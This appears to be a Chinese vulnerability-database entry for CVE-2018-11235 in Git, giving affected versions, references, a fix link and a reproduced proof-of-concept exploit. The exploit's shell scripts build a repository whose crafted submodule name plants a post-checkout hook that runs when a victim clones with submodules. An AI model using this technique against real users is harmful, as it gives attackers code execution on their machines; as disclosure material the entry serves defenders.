Git 安全漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1125123 漏洞类型 Input Validation Error
发布时间 2018-06-01 更新时间 2018-06-01
CVE编号 CVE-2018-11235 CNNVD-ID CNNVD-201805-1020
漏洞平台 Linux CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/44822
https://www.securityfocus.com/bid/104345
https://cxsecurity.com/issue/WLB-2018060017
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201805-1020
|漏洞详情
Git是美国软件开发者林纳斯-托瓦兹(LinusTorvalds)所研发的一套免费、开源的分布式版本控制系统。Git中存在安全漏洞,该漏洞源于在将子模块名称添加到$GIT_DIR/modules目录下时,程序没有正确的验证来自不可信.gitmodules文件的子模块名称。远程攻击者可借助特制的.gitmodules文件利用该漏洞执行任意代码。以下版本受到影响:Git2.13.7之前版本,2.14.4之前的2.14.x版本,2.15.2之前的2.15.x版本,2.16.4之前的2.16.x版本,2.17.1之前的2.17.x版本。
|漏洞EXP
# Exploit Title:  Git (code execution)
# Date: 2018-05-29
# Exploit Author: JameelNabbo
# Website: jameelnabbo.com <http://jameelnabbo.com/>
# Vendor Homepage: https://github.com/git/git <https://github.com/git/git>
# CVE: CVE-2018-11235
 #Version:  <=2.17.1 
# Tested on Kali Linux


P0C:

Create two files:
pwned.sh: the file which will contain our commands to be executed 
commit.sh the fole which contain a normal build with a bit of calls to our pwned.sh file

add the follwing to Pwned.sh:
#!/bin/sh
cat << EOF

#here we can put our lovely commands
Exploited! : $(ifconfig)

EOF

#--------

Add the follwing to commit.sh file:
#!/bin/sh

set -e

repo_dir="$PWD/repo"
#change it to any other Repo
repo_submodule='https://github.com/JameelNabbo/SmartWorm'

git init "$repo_dir"
cd "$repo_dir"
git submodule add "$repo_submodule" pwned
mkdir modules
cp -r .git/modules/pwned modules
cp ../pwned.sh modules/pwned/hooks/post-checkout
git config -f .gitmodules submodule.pwned.update checkout
git config -f .gitmodules --rename-section submodule.pwned submodule.../../modules/pwned
git add modules
git submodule add "$repo_submodule"
git add SmartWorm
git commit -am pwned
echo "All done, now \`git clone --recurse-submodules \"$repo_dir\" dest_dir\`”


——————
Solution:
https://www.edwardthomson.com/blog/upgrading_git_for_cve2018_11235.html
|受影响的产品
GIT GIT 2.17.1 GIT GIT 2.16.4 GIT GIT 2.15.2 GIT GIT 2.14.4 GIT GIT 2.13.7
|参考资料

来源:blogs.msdn.microsoft.com
链接:https://blogs.msdn.microsoft.com/devops/2018/05/29/announcing-the-may-2018-git-security-vulnerability/
来源:marc.info
链接:https://marc.info/?l=git&m=152761328506724&w=2